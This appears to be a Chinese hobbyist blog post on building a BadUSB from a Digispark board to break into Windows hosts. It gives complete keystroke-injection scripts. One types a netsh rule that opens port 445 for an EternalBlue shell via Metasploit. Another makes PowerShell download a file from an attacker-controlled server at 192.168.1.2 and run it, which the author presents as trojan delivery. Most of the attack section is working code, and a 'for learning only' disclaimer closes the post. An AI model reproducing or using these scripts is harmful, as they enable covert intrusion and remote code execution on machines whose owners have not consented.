badusb的学习记录&入侵windows主机
写在前面
对于人们熟悉的网络安全,一旦发现漏洞可以很快的应对和修补,然而对于硬件安全,漏洞的危害即使不是很大也要耗费很大的人力物力才可以把有问题的设施更换掉,对于一些比更大的漏洞就更加难并且花费巨大
知识准备
灯灯灯凳,这个就是我们的主角啦
对于第一次玩硬件的小伙伴,硬件入门不难,但是要有耐心,很多时候是需要不断的去调试代码,查找资料,所以一定要有耐心。
一、U盘的结构
要想理解badusb攻击的方法就要先了解U盘的结构,U盘的主要结构如下
|--------|---------------|
| 固件 | 数据存储区 |
|--------|---------------|
U盘由芯片控制器和闪存两部分组成(也间接说明为什么U盘的额空间总是不够写的那么大),芯片控制器负责与PC的通讯和识别,闪存用来做数据存储;闪存中有一部分区域用来存放U盘的固件,它的作用类似于操作系统,控制软硬件交互;固件无法通过普通手段进行读取。
usb协议
现在很多设备都是用usb接口,摄像头、U盘、鼠标、键盘,无线键鼠的接收器,等等,为了兼容这么多设备,设计USB协议标准的时候就没有要求每个USB设备向网络设备那样占有一个唯一可识别的MAC地址让系统进行验证,而是允许一个USB设备多个输入输出设备的特征。
问题就是在这里,当你插进一个U盘时电脑并没有鉴别你的U盘到是不是真的U盘,这样我们就有机可乘了
入侵原理
正常的U盘插到电脑里的大概流程是下面这样的
电脑识别为U盘的固件
固件信息-------------------------->U盘----->读取U盘的内容----->示U盘的内容
构造badusb的固件让电脑识别为键盘
电脑识别为键盘的固件
固件信息-------------------------->键盘
再构造里面的内容
键盘----->模拟人敲命令----->根据写好的脚本敲命令
材料准备
材料清单
- Digispark(也就是我们的主角)
- Arduino(编写以及把脚本写到badusb里的程序)
- 脚本
开干
安装驱动
驱动下载地址,链接:http://pan.baidu.com/s/1i4K10dn 密码:ilaf
下载好后运行`DPinst64.exe`,32位系统点击`DPinst.exe`,一路回车等待安装完成
下载编写程序的开发软件[https://www.arduino.cc/en/Main/Software](https://www.arduino.cc/en/Main/Software)
运行Arduino,在首选项中添加开发板网址[http://digistump.com/package_digistump_index.json](http://digistump.com/package_digistump_index.json)(不同的板网址不同)
在工具–>开发板–>开发板管理器里,下载这个驱动,等待下载完成即可
选择Digispark开发板
编译器选择USBtinyISP
到这里所有准备就做好了
写脚本
先看一眼商家给的教程
在我的印象中应该是写一个木马进固件然后一插进电脑就黑进去的啊[捂脸][捂脸][捂脸]
算了,先一步一步跟着教程摸索下
最终代码如下,修改了一点点
#include "DigiKeyboard.h"
#define KEY_ESC 41
#define KEY_BACKSPACE 42
#define KEY_TAB 43
#define KEY_PRT_SCR 70
#define KEY_DELETE 76
void setup() {
DigiKeyboard.delay(5000);
DigiKeyboard.sendKeyStroke(0);
DigiKeyboard.delay(5000);
DigiKeyboard.sendKeyStroke(KEY_R,MOD_GUI_LEFT);
DigiKeyboard.delay(500);
DigiKeyboard.print(F("cmd"));
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(500);
DigiKeyboard.print(F("echo"));
DigiKeyboard.sendKeyStroke(0,MOD_SHIFT_LEFT);
DigiKeyboard.print(F(" "));
DigiKeyboard.print(F("Team233"));
DigiKeyboard.sendKeyStroke(0,MOD_SHIFT_LEFT);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
}
void loop() {
}
编译…没问题,上传…O98k
激动人心的时候到了,重新插进电脑去,10秒后…
到目前为止就算badusb就算做好了
进阶教程
上面只是简单的尝试,接下来要进行更高级的用法
然鹅。。。。。
只有这么点容量怎么写马,而且商家没说,网上也找不到,怎么写。。。。。
忽然想起当时买这个的时候有好多个版本。。。
我绝对不会告诉你我是因为它比较便宜体积小迷你好看才买它的
经过我一番沉思与实践之后
如果目标是win7系统,我们可以利用终端打开445端口,然后使用永恒之蓝漏洞直接getshell
如果目标是win10,我们可以从我们搭好的服务器下载木马饭后执行木马程序,对win7也同样适用
cmd开启445端口命令如下
netsh advfirewall firewall add rule name="open 445" dir=in action=allow protocol=TCP localport=445
编写好的脚本代码如下
#include "DigiKeyboard.h"
#define KEY_ESC 41
#define KEY_BACKSPACE 42
#define KEY_TAB 43
#define KEY_PRT_SCR 70
#define KEY_DELETE 76
void setup() {
DigiKeyboard.delay(5000);
DigiKeyboard.sendKeyStroke(0);
DigiKeyboard.delay(5000);
DigiKeyboard.sendKeyStroke(KEY_M,MOD_GUI_LEFT);
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_R,MOD_GUI_LEFT);
DigiKeyboard.delay(500);
DigiKeyboard.print(F("cmd"));
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(500);
DigiKeyboard.print(F("netsh advfirewall firewall add rule name="));
DigiKeyboard.print(char(34));
DigiKeyboard.print(F("open445"));
DigiKeyboard.print(char(34));
DigiKeyboard.print(F(" dir=in protocol=tcp localport=445 action=allow"));
DigiKeyboard.sendKeyStroke(KEY_ENTER);
}
void loop() {
}
在kali下nmap可以看到445端口已经打开,msf直接漏洞利用就可以实现getshell
win10系统下载测试文件Team233.png的脚本代码如下
#include "DigiKeyboard.h"
#define KEY_ESC 41
#define KEY_BACKSPACE 42
#define KEY_TAB 43
#define KEY_PRT_SCR 70
#define KEY_DELETE 76
void setup() {
DigiKeyboard.delay(5000);
DigiKeyboard.sendKeyStroke(0);
DigiKeyboard.delay(5000);
DigiKeyboard.sendKeyStroke(KEY_M,MOD_GUI_LEFT);
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(0,MOD_GUI_LEFT);
DigiKeyboard.delay(500);
DigiKeyboard.print(F("pow"));
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(MOD_SHIFT_LEFT);
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(0,MOD_SHIFT_LEFT);
DigiKeyboard.delay(500);
DigiKeyboard.print(F("$client = new-object System.Net.WebClient"));
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.print(F(" $client.DownloadFile('http://192.168.1.2/Team233.png', '."));
DigiKeyboard.print(char(92));
DigiKeyboard.print(F("Team233.png')"));
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.print(F("."));
DigiKeyboard.print(char(92));
DigiKeyboard.print(F("Team233.png"));
DigiKeyboard.sendKeyStroke(KEY_ENTER);
}
void loop() {
}
效果就参考我录的视频吧
链接: https://pan.baidu.com/s/1m8Ob16yuFoNVjzHoz6VrNQ 密码: c9he
未经允许不得传播
本文仅供学习之用,不负任何法律责任
本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!